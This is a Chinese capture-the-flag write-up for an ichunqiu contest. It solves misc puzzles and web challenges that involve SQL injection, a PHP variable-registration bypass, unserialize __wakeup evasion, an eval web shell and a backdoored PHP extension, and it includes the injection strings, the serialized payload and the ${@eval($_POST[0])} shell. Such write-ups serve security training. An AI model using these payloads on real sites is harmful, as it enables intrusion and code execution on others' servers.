0x00 misc
1、泄露的数据
md5解密即可
2、考眼力
凯撒密码
3、flag格式
直接比较题干中的flag即可
0x01 Web
1、try
查看源代码有个注释 reset.php
http://e24890cb606846708221a491cd15d6a2e983c17bacc24676.game.ichunqiu.com/level.php?name=guest’ or ‘1’=’1
http://e24890cb606846708221a491cd15d6a2e983c17bacc24676.game.ichunqiu.com/level.php?name=guest‘ or ‘1’=’2
存在注入,可以使用OPTIONS请求突破
这里直接使用sqlmap来跑
user表有2个用户guest member,token表为空
dump数据发现guest为空 就拿member来测试
reset.php 源代码有提示
这里去搜了下类似的格式
在php官网上找到能生成类似结果的加密函数
顿折腾发现第二个参数为$6$rounds=66 能生成一样的hash
reset.php 账号填member 尝试重置 reset_do.php
然后通过注入查询token
发现hash会变 并且格式和提示的一样 这里通过没法爆破发现只要reset_do.php提交的token一旦错误就会清空数据表
本地通过python脚本生成一份hash表 (这里不要全生成需要花费太多时间)
思路:
通过reset.php重置再通过注入获取token 接着把token放到hash表中查找 如果有对应的明文则是token 否则继续重置 然后重复
脚本如下:
接着挂机去跑就行了 如果2000次没跑出来重复跑 如果生成的hash表数据足够多几率就越高
然后拿到对应的hash去hash表中找明文
去/reset_do.php 重置新密码
去login.php登陆返回Get_Fl3g_e165421110ba03099a1c0393373c5b43.php源代码注释提示<!–backup file .txt–> 备份文件Get_Fl3g_e165421110ba03099a1c0393373c5b43.txt
这里一个循环$_GET $_POST $_COOKIE 注册变量如果key 为_SESSION会跳过但是这里$_SERVER没有进行检查key 最终检查$_SESSION[admin]为yes这回打印flag利用没有检查$_SERVER的key 可以通过上面的get post cookie来注册个二维数组来跳过前面的key检查 然后到循环$_SERVER再进行一次注册给$_SESSION来赋值
[PHP] 纯文本查看 复制代码
1
|
Get_Fl3g_e165421110ba03099a1c0393373c5b43.php?_SERVER[_SESSION][admin]=yes |
或者post过去也可以
2、Hash
访问题目发现一个超链接
[PHP] 纯文本查看 复制代码
1
|
http: //72db6205d8c9474995e81100930ecc07c22aadb2fa8e4c23.game.ichunqiu.com/index.php?key=123&hash=f9109d5f83921a551cf859f853afe7bb |
hash解密是md5 kkkkkk01123 感觉后3位是key 尝试kkkkkk01admin md5后 049f601185c0846faac45065a834b1c5http://72db6205d8c9474995e81100930ecc07c22aadb2fa8e4c23.game.ichunqiu.com/index.php?key=admin&hash=049f601185c0846faac45065a834b1c5提示next step is Gu3ss_m3_h2h2.php 访问
接受一个var参数base64解码然后正则匹配如果匹配到程序结束执行 否则就进行反序列化可以发现是一个文件读取类 但是会在执行__destruct之前会调用__wakeup来修改掉file变量这里利用一个php的bug简单来说就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 然后绕过正则的话我们可以在对象长度前加一个 + 号http://www.milw0rm.cn/Article/exploit/20160915/vulzone-26.html然后生成一下payload
[AppleScript] 纯文本查看 复制代码
1
|
TzorNDoiRGVtbyI 6 NTp 7 czoxMDoiAERlbW 8 AZmlsZSI 7 czoxNjoiZjE 1 Z 18 xc 19 oZXJlLnBocCI 7 fQ = = |
接受一个参数val 然后eval参数是进行变量赋值 这里payload是${phpinfo()} 或者${${phpinfo()}}可以执行phpinfo 改成一句话${@eval($_POST[0])} 然后post突破WAF执行代码
[PHP] 纯文本查看 复制代码
1
|
http: //72db6205d8c9474995e81100930ecc07c22aadb2fa8e4c23.game.ichunqiu.com/f15g_1s_here.php?val=${@eval($_POST[0])} |
通过反引号(实际调用shell_exec)执行命令获取flag
3、Nothing
[PHP] 纯文本查看 复制代码
1
|
http: //f7bda9a07e5e4ea79ab455b17f40b4f93c86166b84884e4d.game.ichunqiu.com/ |
页面打开显示ICHUNQIU BACKDOOR 没发现什么地方 感觉应该是个后门有一个docker镜像地址 下下来导入
[Bash shell] 纯文本查看 复制代码
1
|
docker load < backdoor. tar |
然后翻web目录 .info.php发现是个phpinfo猜测一般套路 是写了个扩展后门 grep backdoor 发现是个扩展,之后
查看php.ini
下载下来拖到IDA里头使用F5大法挨个查看
初步判断是POST接受个参数 然后进行eval
初步判断是POST接受个参数 然后进行eval
猜测了下是不是string参数
然后老套路执行命令去web目录读取flag.php